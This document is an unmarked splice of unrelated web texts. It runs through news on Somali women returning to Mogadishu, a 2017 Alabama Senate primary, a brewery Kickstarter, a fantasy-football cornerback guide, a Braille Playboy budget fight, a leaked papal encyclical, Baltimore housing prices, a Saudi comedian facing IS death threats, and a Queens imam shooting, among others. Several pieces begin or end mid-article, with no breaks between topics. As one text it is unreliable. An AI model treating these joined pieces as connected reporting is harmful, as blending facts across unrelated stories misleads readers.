She says she was motivated to return after hearing about the plight of Somali children caught up in violence, including being recruited by the al-Qaeda affiliate, al-Shabab, which has lost control of Mogadishu and other towns to Amisom and government forces but still controls many rural areas of southern and central Somalia.
"I could see this huge need for education for young people. They need chances, like kids have in the West," Ms Farah adds.
"I just looked around and said to myself: 'I have to do more than this'. I realised I had to go back."
After a month in Mogadishu, top of the list of what she misses is the Starbucks coffee chain.
Ms Farah also worries about some things, like the lack of health care and security but adds: "It's much better than people think."
Attitudes towards women are different from the West, however, as I hear from Maryan Hassan, a 26-year-old law student who was born in the UK.
"Men are traditionally the breadwinners [in Somalia] and the woman's place is in the home," she says.
However, Ms Hassan points out that many of the Somali women returning would have led a "double life" in the West, occupying traditional roles at home while being treated more equally in the workplace.
'Open prison'
"Somalia has changed a lot, though," she adds.
"Twenty years of war meant that women have had to support families as many men died or couldn't work."
Image caption Maryan Hassan hopes she and other expats can inspire young Somalis
One thing that every woman mentions is the security situation. Mogadishu is still dangerous. And because of this, there is a lack of independence.
It is one of the hardest things about moving back, explains Maluka Abulkadir.
A young woman, she gave up a top job in the US with finance company Merrill Lynch to return to Mogadishu.
"The hardest thing is the social life. You are used to going anywhere and doing what you want back home in the States, but here you can't just jump in the car and go down to the store. It's not safe enough," Ms Abdulkadir says.
She smiles in agreement when I tell her that a British-Somali had greeted me that afternoon by asking: "How are you enjoying Mogadishu? We call it the open prison!"
Ms Abdulkadir cannot drive anywhere without armed guards, in part because she works in the prime minister's office.
"We're rebuilding Somalia. For me, it's worth it," she says.
For some women, just being in Somalia can make a difference.
"I tell girls about my own experiences - like getting a degree and how hard I've worked. Sometimes it's the first time they've really thought about whether they could go to university," says Ms Hassan.
"For example, a cousin of mine didn't really know what she was capable of, or I guess entitled to, but inspired by me, she's gone and found herself a scholarship and is doing computer science. So imagine that replicated across the country. It's got to be a good thing."
But to live in Somalia is not so easy for everyone.
On Mogadishu's beach, Samira, 40, paddles in the clear turquoise water.
She watches over some children swimming in the distance, but they are her sister's.
"My kids were born in London and they won't even come here on holiday," she says.
"They've just got no interest. If I want to move back, I'll have to wait until they've grown up."
For now, then, she must stay in London with her family.
Politico reported Friday that America First Action will spend between $150,000-$200,000 on digital advertising. The Associated Press has also reported on the funding.
That comes three days after President Trump tweeted an endorsement of Strange, who was appointed to the Senate in February by former Gov. Robert Bentley.
The Republican and Democratic primaries in the special election to fill the seat held by Jeff Sessions are Tuesday. A runoff is expected in the GOP race and possibly in the Democratic race as well, which would take place Sept. 26.
Former Alabama Chief Justice Roy Moore has consistently led in GOP primary polling while Strange has held a narrow lead over U.S. Rep. Mo Brooks.
This Kickstarter project is to raise money for our first phase and will be used to to set up the brewery space, make the tasting room into an awesome place to be, and get all of our appropriate licenses. A couple notes about the Kickstarter project:
Pledging money is easy, simply choose a reward on the right, click it and follow the easy steps. You will need an Amazon account to complete the pledge.
Please Note: Kickstarter will only charge your card if we meet our project goal of $20,000 by the deadline
Together, we can move craft beer forward!
Triptych Brewing is focused on crafting quality beer using a combination of traditional techniques and judicious applications of modern technology. We will produce a wide range of beers, crafting each one as an artist to a canvas. We aren't big on gimmicks; we want to share our passion for beer with you and explore where we can go together.
Triptych Brewing is three guys, from three different walks of life bringing legal, business, and brewing expertise to a project that we've been working on for a very long time now with the ultimate goal of sharing our passion for great, local beer with YOU.
Cornerbacks To Avoid
These guys are the elite of the elite and should be avoided within reason.
Vontae Davis – IND
Abe and I keyed in on Davis’s dominance very early last year on the SmartCheatsheet podcast, where the shaky Colts defense was tricking people into starting receivers against the late-blooming elite cornerback. Things didn’t typically go well for those receivers. His streak of shutting down studs has continued into 2015, where Sammy Watkins totalled a whopping zero catches in a week 1 game in which the Bills were actually able to move the ball.
Since being traded from Miami in 2012, Davis has improved immensely every year and is just entering his prime. He was Pro Football Focus’s #2 rated cornerback last year, and opposing quarterbacks managed a pitiful 41.2 passer rating when targeting him (with zero touchdowns). According to Coach Chuck Pagano, Davis may be asked to shadow the opposing team’s #1 all game this year after staying mostly on the right side in 2014. This is definitely something to keep an eye on when making your lineup decision.
Darrelle Revis – NYJ
Revis Island is still a lonely place. After a fantastic 2014 season that ended in a Super Bowl victory, Revis is back on his original team with a revamped defense and coaching staff. At age 30, he’s lost a tad bit of the quickness and speed that made him completely untouchable, but still deserves the respect we’re used to giving him as a top three corner in the league. According to Football Outsiders, Revis was targeted a league low (for #1 corners) 17% of offensive pass plays last year, totalling a miniscule 69 balls thrown his way in 16 games. I don’t think any of us would be happy with a #1 receiver that totalled 69 targets in a full season.
Although there have been several exceptions, such as Revis not shadowing T.Y. Hilton in last year’s AFC Championship game, #24 infamously sticks the #1 receiver. Since moving to a new team under a new coaching staff this season, there have been some questions as to whether that would remain his role, but all evidence points to the fact that it will be. Although Week 1 wasn’t a very good indicator (the Browns don’t really have a #1 WR), the Jets paid Revis HUGE money and will likely be expecting him to continue doing what does best. Head coach Todd Bowles also used his top corner Patrick Peterson in the same role the last few years in Arizona, and Antonio Cromartie (the other corner the Jets gave big money to this year) was injured in week 1 and will be on the shelf for a while. Look for Revis to stay on the #1 man and try to avoid him if possible. Even if your player is talented enough to beat him a few times, his quarterback will likely be looking elsewhere.
Richard Sherman – SEA
As outspoken and cocky as Sherman is, he sure can back it up. Even the best quarterback in the world refused to throw in his direction in a week one meeting between the Packers and Seahawks last year, and was reminded why on his first pass targeting Sherman in the NFC Championship game. Since he blossomed into an elite shutdown corner in 2012, Sherman has ranked in the top five of PFF’s coverage rankings every single year. He is as consistent as they come, and, unlike Revis, much closer to the beginning of his prime than the end.
At 6’3” and lacking elite speed, Sherman is much more suited to match up against traditional, bigger receivers. Small and quick receivers like T.Y. Hilton, Emmanuel Sanders, and Odell Beckham Jr. have traditionally had better luck than most against him, but even yet he still doesn’t get beat often. Those are all top 15 players, so you should probably be starting them anyway.
Unlike Revis, Sherman has traditionally stayed on one side of the field for the entire game. This has made it very difficult for fantasy owners to figure out who he will be guarding, but Seattle’s defense and secondary have been so good that you don’t necessarily need to know if he’ll be guarding your guy to know that points are going to be tough to come by. Things have changed this year, however, as Seattle lost CB Byron Maxwell to free agency, defensive coordinator Dan Quinn to the Atlanta Falcons, and are still without Pro Bowl SS Kam Chancellor (and could be for a while.) The shakeup has caused many to wonder if Sherman’s role will change, and if week one is any indication, it will. He only spent 36 of his 59 snaps against St. Louis in his usual role on the left side, playing the slot more than he has in recent memory. We’ll be watching the week two matchup against Green Bay to see if this is a pattern or a one-game quirk.
Chris Harris Jr. – DEN
A favorite of film aficionados and advanced stat geeks, Chris Harris Jr.’s reputation in the mainstream is finally starting to match up to his play. Considering all the “inhuman” talk that Adrian Peterson got after coming back from an ACL tear to lead the league in rushing in 2012, very little has been made of the fact that Harris put together an amazing 2014 season just eight months after tearing his. Pro Football Focus considers Chris Harris’s 2014 season to be the second-best cornerback season they have ever charted, and ranked him as the fourth-best overall player in the NFL (not to mention #1 cornerback). He gave up a whopping zero touchdowns, allowed ONE 50+ yard game, and was targeted on a tiny 17.2% of offensive pass plays (second only to Revis among #1 corners).
As amazing as those coverage numbers are, the scariest thing about starting a wide receiver against Harris may be the defense around him. He plays all over the field, so it may be tough to pin down who he’s going to be guarding before the game starts. If you start your WR against the Broncos and are lucky enough to avoid Harris, your prize will most likely be Pro Bowler Aqib Talib. The Broncos are deep and loaded at all levels of the defense. As Von Miller and Demarcus Ware have completely dominated the first two weeks of the season, we’re reminded that Denver has the best pair of corners AND pass rushers in the league. Add that to a struggling Denver offense that will most likely not be attempting to get into any shootouts, and the Broncos may just be the worst matchup for wide receivers this year.
Cornerback Matchups To Be Aware Of
These guys are either borderline-elite or up-and-comers and while you shouldn’t avoid all matchups, you should try to be aware of who they’re guarding.
Desmond Trufant – ATL
While the Atlanta defense has been a disaster the past two years, Desmond Trufant has quietly developed into one of the league’s top corners. He earned Defensive Rookie of the Year honors from PFF in 2013, and was graded out as their #6 overall corner in 2014. Considering Atlanta ranked near the bottom in every possible pass rush metric over the last two seasons, Trufant has been tasked with sticking on his man much longer than any other corner on this list. With Dan Quinn now the lead man in Atlanta, the Falcons defense came out looking completely different in their first half of their first game against Philadelphia. Trufant gobbled up highly-touted rookie WR Nelson Agholor to the tune of one catch for five yards. The defensive line has a few new faces, including #8 overall pick Vic Beasley, and if Atlanta can get even a mediocre pass rush we could be looking at a Richard Sherman-type season from Trufant.
Trufant tends to man the outside left cornerback position. I’m guessing he’ll be assuming the Richard Sherman role in Quinn’s defense.
Brandon Flowers – SD
A perennial top ten cornerback before a down season in 2013 (in which he ironically made his first Pro Bowl), Flowers was surprisingly released by Kansas City in 2014 and was promptly signed to a one-year “prove it” deal with San Diego. And prove it he did. While San Diego ranked a disappointing 25th in overall defense, Flowers’ play jumped their rank to 13th against #1 wide receivers. PFF graded Flowers graded as a top 15 corner in 2014, while FootballOutsiders Adjusted Success Rate metric put him at #6. The Chargers recognized his worth and signed him to a four year, 36 million dollar deal this offseason.
Flowers excels in a zone scheme, and although he is not a player to be completely avoided in fantasy on his own, he does play in a loaded secondary with promising second year man Jason Verrett and Pro Bowl safety Eric Weddle. They shut down Megatron and the Lions passing game pretty effectively in week one.
Sean Smith – KC
Smith, Flowers replacement as the #1 corner in Kansas City, is his polar opposite. Smith is six inches taller and almost 30 pounds heavier than Flowers and excels in man-to-man coverage. He was PFF’s fifth highest rated corner in 2014 (third in coverage) and was targeted on only 19.9% of opponents passing plays. Rookie Marcus Peters has filled in for Smith through the first two weeks this season as he serves a two game suspension, and has looked exceptional. Peters has two interceptions already and has stuck stride-for-stride with some of the game’s best receivers. Once Smith comes back for week three, the Chiefs will have an extremely talented CB duo to go along with one of the league’s most fierce pass rushes. Receivers will have a tough time against this group.
Brent Grimes – MIA
Grimes had a down year coverage-wise in 2014, but was absolutely dominant in 2013. Coming off a torn achilles, he recorded four interceptions and allowed zero touchdowns en route to a Pro Bowl invite and was PFF’s #2 rated corner (he was #3 in 2011). Despite the tough last year in coverage, Grimes did have five picks, and made what (in my and his opinion) would have been the play of the year had it not been for Odell Beckham’s insane catch. With Grimes healthy and Ndamakungh Suh and Cameron Wake harassing quarterbacks, I’m betting on a return to elite status for #31. Miami’s #2 cornerback situation is a little more shaky, so starting a #2 WR against them might be a decent bet.
Honorable Mentions
Joe Haden – CLE
While Haden has infamously shut down A.J. Green in their battles, that may have more to do with Andy Dalton’s failings than Haden’s status as an elite corner. He has not been a PFF top-ten graded corner since 2010, but he does have the skill and ability to blank a top receiver.
Xavier Rhodes – MIN
Rhodes has excellent size and speed and improved immensely under Mike Zimmer’s tutelage in 2014. He’s not elite quite yet, but is probably the most likely to jump into the top two categories out of any honorable mention corner. He’ll have a tough test this Sunday against Megatron.
Patrick Peterson – ARI
Once regarded as a top five cornerback (although many analysts would disagree that was ever valid), Peterson had an abysmal 2014 and needs a big year to put him back into that conversation. He has blamed his poor play last year on his undiagnosed diabetes, and we should see soon if that was the case. He got off to a good start in week one by limiting Saints WR Brandin Cooks.
Josh Norman – CAR
Norman had a breakout year in 2014 (4th in FootballOutsiders Adjusted Success Rate), and started off 2015 with a bang by shutting down Allen Robinson. He’ll be playing for a contract this year.
Stephon Gilmore – BUF
New head coach Rex Ryan has moved standout CB Corey Graham to safety, started rookie Ronald Darby in his place, and given Gilmore the “Revis role” in his defense. He’ll be shadowing opposing team’s top weapons, and may even get a crack at Gronk this week. Gilmore improved greatly from 2013 to 2014 and looks like he’s coming into his own in this absolutely loaded Bills defense. Proceed with caution with ANY players going against Buffalo.
Dominique Rodgers-Cromartie – NYG
PFF’s #6 corner in 2013 and #17 in 2014, DRC is a top ten cover corner if he can stay healthy. He did a great job in week one against Dez Bryant, but will have his work cut out for him this season with the Giants safeties being either rookies or terrible. Don’t avoid the Giants in fantasy, even if it means starting your WR against DRC.
Jimmy Smith – BAL
Smith has had trouble staying healthy recently, but it’s a night and day difference when he’s on the field for the Baltimore secondary. He did a great job against Demaryius Thomas in week one and even returned a Peyton Manning-thrown interception for a touchdown. The rest of the Ravens secondary is very weak, so keep an eye on who Smith is guarding.
This wraps up this whole chapter of maps. This has been a huge part of my campaign at home and I can now share it with you all.
This is a free complimentary post that offers a combined map of all 9 sections. In the attachment you can find 2 versions of the same map. The first one is the ground floor (for the buildings that had a second layer). The other one is the same map with the 2nd Floor in the buildings that have it.
What will follow is a PDF similar to the "Drow of House Kent'tar" that provides adventure notes for this map so you can incorporate it into your own campaigns (available to all patrons of $3 upwards).
Keep in mind that this map is scaled down (unlike the individual tiles that are sized so they can be printed off and used as a board immediately into your games).
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Just three months ago, Adina Porter was wigging out as True Blood‘s Lettie-Mae Daniels; prior to that, she was standing by Will’s side on The Newsroom as Kendra James. Now, the self-proclaimed “chameleon” is relishing her wildest role yet.
“I’m very much enjoying being physical, badass and fierce,” Porter tells TVLine. “I can’t help but strut in the outfit that I get to wear as Indra. I don’t know if I’m even Indra without that fantastic costume.”
And now that Lincoln’s been captured by Reapers, it could be up to Octavia and Indra to save the day — but can Octavia trust her new apparent new ally?
“With this kind of show — like in war and politics — one minute you’re someone’s friend, then the next minute, you’re their enemy,” Porter acknowledges, refusing to say exactly where Indra stands with Octavia. “When I say a line, I honestly never know if Indra is being sincere, or if we’re going to find out a few episodes later that she was lying.”
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Either way, some serious fighting is in order, and Porter says she’s ready for anything.
“The fight coordinators on this show are magnificent … but I also show up with good material for them to work with,” she says. “I work out, I do yoga now, and I look around and at all these enormous guys I’m working with. I mean, have you seen Ricky [Whittle]’s body? No carbs for me at lunchtime!”
In a policy posted on the DNR website Friday, agency officials said the application process will remain the same. However, “the DNR must limit the scope of its review of proposed high capacity wells to that which is specifically authorized in statutes and rules, and may not include conditions in approvals unless explicitly required by law.”
The change means the Department will no longer look at the effects such wells have on nearby bodies of water when it considers permit applications.
The move comes a month after an opinion from Attorney Brad Schimel stated the DNR is unable to impose additional conditions on permits, beyond what’s already in state law.
The DNR said the policy is expected to greatly speed up the approval process for high capacity well permits, which are often used by farmers, manufacturers, and municipalities with massive water needs. Such wells pump upwards of 100,000 gallons of water per day.
Ray Charles owned a Playboy Magazine in Braille. But the masses got theirs from the Library of Congress -- until Congress shut that down in the '80s. (Neilson Barnard/Getty Images)
Congress has the reputation for being kind of prude. But never was that truer than in the 1980s, when Congress actually cut off taxpayer funding for making Playboy Magazine in Braille.
What, what?
So, here's the story: The Library of Congress has been publishing magazines in Braille since the 1970s for the visually impaired. In the 1980s, Republican lawmakers concerned with the moral implications of taxpayer-funded pornographic material (and hoping to save a penny) tried for years to stop performing this service for Playboy.
We first heard about this Thursday from Senate minority leader Harry Reid, who made an offhand comment about the decades-old controversy on the Senate floor.
Reid was bidding goodbye to the outgoing director of the Library of Congress, James Billington. As he is wont to do, the 75-year-old Nevada Democrat began with a story:
On the Senate floor Thursday, Sen. Harry Reid (D-Nev.) unearthed an obscure 1980s fight in Congress about taxpayer funded Playboy Magazine in Braille. (C-SPAN)
"It seems only yesterday that I was chairman of the legislative branch of the Appropriation Committee. A new senator here. And one of the first attacks we got from Republicans at that time was to whack the Library of Congress. They even went after the magazines that were produced in Braille. I can remember the debate we had with Playboy Magazine. I don't know what they were trying to eliminate, but they tried. I don't know what they could do with the Braille on Playboy Magazine, but we were able to turn that back."
Nonsense, we at The Fix thought. There's no way that could be true. Reid, after all, has been known to ... well, say things.
But sure enough, news articles from The Washington Post and Associated Press detail what we're going to call "The Playboy Braille Budget Battle of 1985." Here's the tale:
The first reference we can find is from David Espo, writing for the Associated Press in 1981. Congress reached a late-night agreement on its annual budget, which raised lawmakers' pay to $60,662.50 a year. It also, according to Espo...
...forced Sen. Mack Mattingly, R-Ga., to back down on a proposal to prohibit the Library of Congress from spending any money to translate certain parts of Playboy Magazine into Braille. Mattingly said he wanted the Library to stop making "Party Jokes," "Ribald Classics," and "Playboy Forum" available to the blind.
Mattingly's idea was apparently hotly debated, even among members of his own party. From Michael Goldfarb in The Washington Post that same year:
Sen. Alfonse D'Amato (R-N.Y.) came out against the ban. "It's one of the few enjoyments people with that infirmity could have."
Indeed?
Eventually, though, the Playboy-Braille haters got their way. In 1985, Lloyd Grove covered their victory for The Washington Post:
The House of Representatives moved yesterday to stop the Library of Congress from continuing to produce a braille edition of Playboy magazine. Librarian of Congress Daniel Boorstin promptly condemned the vote as "censorship," while Playboy's editorial director, Arthur Kretchmer, defended his magazine's "literary merit."
Grove reported the torch was carried by Rep. Chalmers Wylie, an Ohio Republican "who has been trying for the last four years -- ever since a blind constituent complained about the edition -- to have the magazine dropped from the library's Braille offerings.
"I just think that when we have a budget deficit of $200 billion, this is an unwise use of taxpayers' money," Wylie said after the vote. "I think Playboy assails traditional moral values and peddles licit as well as illicit sex. I believe that promoting the reading of Playboy in this way does lead to undesirable activities."
The Senate apparently agreed with Wylie and voted soon-after to banish taxpayer funds from publishing the magazine. Kretchmer offered this zinger when he lost:
"I think that one of the few useful things Congress does is bring the literary quality, the style, and the fun of Playboy to handicapped people."
Naturally, the next chapter in this story is that a group of blind Playboy readers sued for their right to read the magazine.
A U.S. District Court judge overturned the Braille Playboy ban, saying it was a 1st Amendment violation. The Library of Congress resumed publishing them, which it still does to this day. Playboy is among 30 general-interest magazines published in Braille by the library's National Library Service for the Blind and Physically Handicapped, according to a spokeswoman.
And every once in a while, a journalist stumbles upon these mysterious magazines.
In 1992, syndicated columnist Roger Simon (yes, that Roger Simon of Politico) went to the Library of Congress to check out a rumor that lawmakers were checking out Madonna's erotic bestseller, "Sex." (This story just keeps getting weirder.)
Simon confirmed it was a popular item. But a clerk, named Elsie, wouldn't tell him which members of Congress checked it out. She did, however, mention the Playboy Magazine controversy.
"We are here to document contemporary American civilization," Elsie said. "And part of the reason is so future historians can look back and know what America was like in 1992."
Then, in 2000, Washington Post columnist Bob Levey devoted a whole piece to a reader who was riding the subway in Washington and saw a blind man pull out a magazine that "bore a familiar bunny logo."
A proper sort, John was a bit worried that the blind man might try to "read" "Playboy's" always-revealing pictures in public. The man "ran his fingers across the bumps on the totally blank pages," John reports. Whether he was reading an article or ogling a curvaceous cutie, John couldn't tell. A little research reveals that the braille "Playboy" does not offer breasts or buttocks. It restricts itself to words.
The director of the National Library Service for the Blind and Physically Handicapped told Levey the Braille version of the magazine has about 500 regular readers.
A 192-page Italian-language version of the encyclical, set to be released Thursday, was leaked by L’Espresso. An official statement from the Vatican says the document does not represent the final text, and a spokesman told Bloomberg that the leak was a “heinous act.”
The document, titled “Laudato Sii,” is meant to influence the United Nations climate talks in Paris at the end of the year, but is expected to also make waves in the national debate about climate change. Green groups and the faith community are calling it potentially one of the most influential documents on climate change, while skeptics have been quick to dismiss the potential impact.
Based on a Google translation of the document, here’s what you need to know about what the draft says.
1) Global warming is real
While the document largely focuses on theology and morality, it does go headlong into the science of the causes and impacts of climate change. The draft document says there is a scientific consensus that the climate is warming because of human actions, and that it is reflected in rising sea levels and increasing extreme weather events. The document even goes further into specific consequences of climate change on biodiversity and marine life, among others.
2) Fossil fuels are a problem
The encyclical states that fossil fuels, such as oil and to a lesser extent natural gas, should be phased out without delay in favor of renewable energy. While renewable power is built up, the encyclical says, it is permissible to rely on fossil fuels, but that overall, the extraction and burning of oil and gas is evil. The document further calls for countries to adopt policies that will reduce emissions of carbon dioxides and other gases.
One policy that Francis dismisses is the use of carbon credits, which he says could give rise to speculation rather than direct action to reduce emissions.
3) Governments should act on climate change — and do it right
The timing of the encyclical is no mystery — Vatican officials have said the document is meant to influence the United Nations climate talks in Paris this year. Francis repeatedly calls on governments to fight climate change, both domestically and through international agreements.
Francis says previous international negotiations, specifically the 2012 UN meetings in Rio de Janeiro, produced ineffective results because countries were looking after the own interests rather than the common good. Francis also is calling on countries to set their own long-term policies on climate change, warning that environmental regulations should not change as governments come in and out of power.
4) Poor people are feeling the impact
Given Francis’s focus on the poor throughout his papacy, it was expected that his encyclical would highlight how climate change has impacted poor nations and communities. The document says that the impacts will fall heaviest on developing countries, which will feel a greater brunt from warming and are seeing depletion of crops, water, and other natural resources. Further, Francis points out that poor people may flee countries because of environmental degradation and decries a general indifference to this plight from the developed world.
5) Rich countries should take the burden
The document goes after inaction by developed nations, which Francis says have been consuming resources without concern for the planet and the poor. Francis highlights other negative impacts of the developed world, such as the privatization of green spaces and the improper disposal of resources by industrial activity. Because of that, Francis says that it’s incumbent on developed countries to consider the needs of the poor while addressing climate change and emissions.
It's a good question. In our own family life, there have been times where my creative cooking energies have been nearly stifled by the complaints of my children. There are at least four basic responses to the problem of kids who don't want what's for dinner. I've broken them down here:
#1 Change family cooking/eating habits to suit kid tastes
I'm not a huge fan of changing family cooking and eating habits to suit kids' tastes, but I'm not a legalist on this, either: making reasonable changes make sense. Despite the claims of recent popular books, in my time overseas, I noticed that European (particularly Continental) parents make adjustments in the food for their children. So let's say my friend was going to broil some chicken and vegetables. She might put a curry rub on most of it, but leave a small, separate portion plain for the children. I like this. While there's always the parents (like mine!) who brag that their kids ate spicy curries at eighteen months of age (which I did), it's also true that kids are biologically wired to dislike strong and bitter flavors -- perhaps a protective mechanism to keep them from eating poisonous plants and such. Making small, reasonable adjustments seems to me like kindness and good sense.
#2 Making ultimatums and threatening not to feed the child until they eat what's in front of them.
Ah, the time-honored tradition! And there's a measure of wisdom in it, maybe. But think of a food YOU'RE averse to and imagine being told "eat it, and you're not getting anything else until you DO eat it." I'm stubborn enough to starve until I convinced whoever was doing this to me to give me something I like, and my kid inherited this same "spiritedness." This is a kind of force feeding, and I don't like it.
#3 Preparing separate dishes for adults and children.
Generally, this is way too much work. In practice, it can mean relying on convenience foods (frozen chicken nuggets? Spaghetti-Os?) to feed the kids while the grownups eat something else. Another thing that I don't like about this approach is that it doesn't provide a way for children to learn to eat "grown-up" foods -- and I think that this is important. Now, I'm no legalist; I'm not going to say that this is something to NEVER do. It makes sense, for example, if you're having a late, grownup dinner party, to make something simple beforehand for the children, like macaroni and cheese and some steamed vegetables. (Unless you're me, and your kids hate mac & cheese. Go figure.)
Finally, #4: Allow the children to choose for themselves what they will eat from what's being served, and offer one or two reasonable alternatives in the event of a hated-one dish type meal.
Few cities with more than 500,000 people offer the sorts of prices that prompt real estate analysts to place the area on their most-affordable lists, but Baltimore does. Last year both the National Association of Realtors (NAR) and RealEstate Business Intelligence (RBI) ranked the Baltimore area favorably in annual surveys of affordability, and more recently RBI released a list of 20 Baltimore-area neighborhoods offering prices likely to attract first-time buyers.
The new list includes neighborhoods in the city, as well as Baltimore, Anne Arundel and Harford counties, with median selling prices ranging from $69,900 in West Baltimore's Edmondson/Beechfield area to $260,000 in Anne Arundel County's Linthicum Heights neighborhood. Roughly in the middle range is the city neighborhood of Hampden and three areas in Baltimore County — Parkville, Rosedale and Halethorpe — all with median prices in the mid- to high-$170,000s.
The national median, RBI reported, is $199,600.
RBI says it put out the list to highlight neighborhoods that first-time buyers might overlook.
"We've tried to create a road map for buyers that will expand their horizons to include neighborhoods they may not have considered," John Heithaus, an RBI marketer, said in a statement. "Baltimore is full of attractive and affordable neighborhoods to fit every lifestyle."
The list includes the Hamilton area, well known as a good spot for first-time buyers, and also Gwynn Oak, Woodlawn, Randallstown, Dundalk, Aberdeen, Essex, Nottingham, and Edgewood.
The Baltimore area has recently ranked well in national affordability surveys of metropolitan areas. Last fall, an annual report by Interest.com placed Baltimore sixth most affordable among the 25 largest U.S. metropolitan areas, topped only by Minneapolis, Atlanta, St. Louis, Detroit and Pittsburgh.
According to the report, the median household income in Baltimore topped the income needed to buy a home by 11 percent. The report moved Baltimore up on the list from 17th in 2013 to sixth, in part because home prices fell. Median home prices, particularly in the city, have lagged because of the large number of sales of distressed properties, meaning short sales and properties owned by lenders.
Also late last year, the NAR ranked the Baltimore-Towson area 65th in affordability out of 176 metro areas, said spokesman Adam DeSanctis. The list shows that the only East Coast city with a population over 500,000 close to Baltimore's score for affordability is Jacksonville, Fla. A number of most-affordable cities on the list were clustered in Ohio and Illinois, including Youngstown, Akron, Toledo, Springfield and Peoria. The least affordable were Honolulu and several cities in California, including the Los Angeles areas, San Diego, San Francisco and San Jose.
The RBI first-time-buyer "hot spots" list appeared in March, a few months after the organization released a national study last fall showing that first-time buyers made up the smallest portion of buyers in 30 years. The study found that first-time buyers made up a third of all buyers, down from 38 percent at the same time a year before and from the historical norm of 40 percent.
The study gave an array of reasons, including low wages for young people, persistent uncertainty about the job market, tighter credit standards since the real estate market collapse, and student debt.
But in the Baltimore market, especially in the city, first-time buyers seem to be bucking the national pattern. Local agents said in the fall that while first-time buyers seemed somewhat scarce in the suburbs, they were abundant in the city, attracted by relatively low prices and the urban way of life.
"In the city, in the gentrified nighborhoods first-time buyers are very apparent," said Ross Mackesey, president of the Greater Baltimore Board of Realtors. They may be less conspicuous in the suburbs, he said, where there are pockets of affordable homes.
The new list spotlights some of those areas as the market heats up for spring.
Posted
A prominent Saudi comedian who mocked the Islamic State group and Islamists on his satirical sketch show has said he will not be deterred after receiving death threats.
Selfie, a sketch comedy show which debuted last week on Saudi-owned pan-Arab satellite channel MBC, has won praise from influential voices in the Middle East for daring to mock the hardline militant group.
Nasser al Qasabi, the show's star, has hit back at online threats, saying that he has "the right to express an opinion".
"God is my protector. I'm an artist, and the artist's essential role is to reveal society's challenges even if he pays a price," he said in an interview with Saudi-owned al Arabiya TV.
"Warning the people about ISIS is the true jihad (religious duty), because we're fighting them with art not war."
On the show, Mr Qasabi plays a Saudi father who pretends to want to join the militants in Syria in order to bring back his jihadist son.
In sketch, Mr Qasabi's character faces executioners after his cover is blown, only to find his own son demanding to be the one to behead him. The bit was lauded as "heartbreaking" on social media.
In one scene of Selfie, a group of buffoonish holy warriors at a "girl market" picks concubines from a line of chained women abducted from the battlefield.
"Come on guys!" interjects a naive character Nr Qasabi. "This is forbidden by Islam, these are just children!"
"God forgives!" the ringleader snapped back.
As one fighter picks a slave "wife" of a moustachioed man in a woman's black robe, a friend points out the apparent mistake.
"No problem!" the first fighter says. "If he's an infidel, he deserves this!"
Mr Qasabi's character is shown protesting at the flogging of a young man being punished for listening to music and faints when ordered to slit the throat of an "infidel" captured by the extremists.
Biting satire attracts death threats and fans
Several supporters of IS militants have threatened Mr Qasabi, some with beheading.
In a typical response from a supporter of the militants, a Twitter user named Jalabeeb al-Jizrawi wrote to Mr Qasabi: "I swear to god you will regret what you did, you apostate."
"The holy warriors will not rest until they cut your head from your body, in just a few days hopefully," he wrote in a post that was retweeted over 3,000 times.
But other media figures in the Middle East have declared themselves fans.
"For many years, (news networks) al Jazeera and al Arabiya have aired ISIS filth and no one reacted against it," Shams, a Kuwaiti singer, tweeted to her almost half a million followers.
"But in twenty minutes, Selfie gave the Islamic nation a wake up call," she said.
A wave of support has hit social media networks, including Arabic hashtags on Twitter saying "we are all Nasser al-Qasabi" and "Qasabi mocks Daesh", the Arabic acronym for IS.
Locals have praised the show as deep, brave, funny and truthful.
AFP/Reuters
NFL spokesman Greg Aiello told the New York Daily News that the league will look into if the Jets are violating the NFL's media policy. League rules require a season-ending news conference within one week of the end of the season. Next week's Jets presser is set to include coach Rex Ryan and owner Woody Johnson.
Ryan reportedly left town on a "mini-vacation" as the Jets figure out what to do next. Ryan has come under withering criticism in New York for ducking out on his media responsibilities after the end of the season.
Ryan will remain as head coach and be paired with a new general manager. His absence in New York this week indicates that Johnson is leading that charge.
UPDATE: The Associated Press reported that the Professional Football Writers of America lodged a complaint with the NFL about the Jets situation.
"We have been assured the league is looking into it," PFWA president Mark Gaughan of the Buffalo News told The AP. "We'll await word from the NFL."
The prosecution of a Thai-born US citizen who has pleaded guilty to translating a banned biography of King Bhumibol Adulyadej has signalled that authorities are also targeting lese-majeste offences committed overseas.
Penalties .... Thai people face charges if they insult the king, queen, heir or regent. Credit:AFP
Thailand's Information and Communications Technology Minister, Anudith Nakornthap, says that even though Facebook clicks of ''like'' or ''share'' are only done to show support for messages, they could violate laws that carry sentences of three to 15 years jail for each charge.
Muslims are living "in the crosshairs of bigotry", New York's mayor has said, a day after an imam and his associate were killed while leaving a mosque.
Imam Maulama Akonjee, 55, and Thara Uddin, 64, were shot in the head on Saturday in the borough of Queens.
Some mosque-goers said the shooting was a hate crime, but police say there is as yet no evidence the men were targeted because of their faith.
Attacks on US mosques are at their highest levels since records started.
The two men, originally from Bangladesh, were approached from behind by a man who shot them both in the head, police said. They had both just left the al-Furqan Jame mosque.
A man holding a gun was seen leaving the scene of the shooting in the Ozone Park area, but no-one has been arrested.
Police said the suspect had a "medium complexion". They released a sketch on Sunday.
"While we do not yet know the motivation for the murders of Maulama Akonjee and Thara Uddin, we do know that our Muslim communities are in the perpetual crosshairs of bigotry," Mayor Bill De Blasio said in a statement.
"It remains critical that we work to bridge the divides that threaten to undermine the greatness of our city and country."
Image copyright Reuters Image caption A sketch of the suspect is being distributed close to where the shooting happened
Police said that Imam Akonjee was carrying about $1,000 (£775) when he was shot, but that the money was not taken.
A video purporting to show the shooting, obtained by the New York Daily News, shows someone quickly approaching the men from behind and shooting with no warning before running away.
"He would not hurt a fly," Imam Akonjee's nephew Rahi Majid, told the newspaper.
"You would watch him come down the street and watch the peace he brings."
Image copyright Shahin Chowdhury via AP Image caption Imam Maulama Akonjee was originally from Bangladesh
A service was held on Sunday to remember the two men.
On Saturday night, dozens of people from the nearby Muslim community had gathered at the scene to mourn and demonstrate, chanting "We want justice".
A report published by the University of California at Berkeley and the Council on American-Islamic Relations showed that mosques were targeted in 78 attacks in 2015, the highest level since records were first kept in 2009.
'He stood for peace'
Last year the New York Times reported that hate crimes against US Muslims and mosques tripled in the wake of attacks in Paris and San Bernardino.
Some of those quoted in Ozone Park said they saw the consequences of Donald Trump's presidential campaign, which has seen him call for Muslims to be banned from entering the US.
"This neighbourhood is getting crazy because of this election and Trump. He hates Muslims," one man, Monir Chowdhury, told Associated Press. "I love this neighbourhood and now I'm scared."
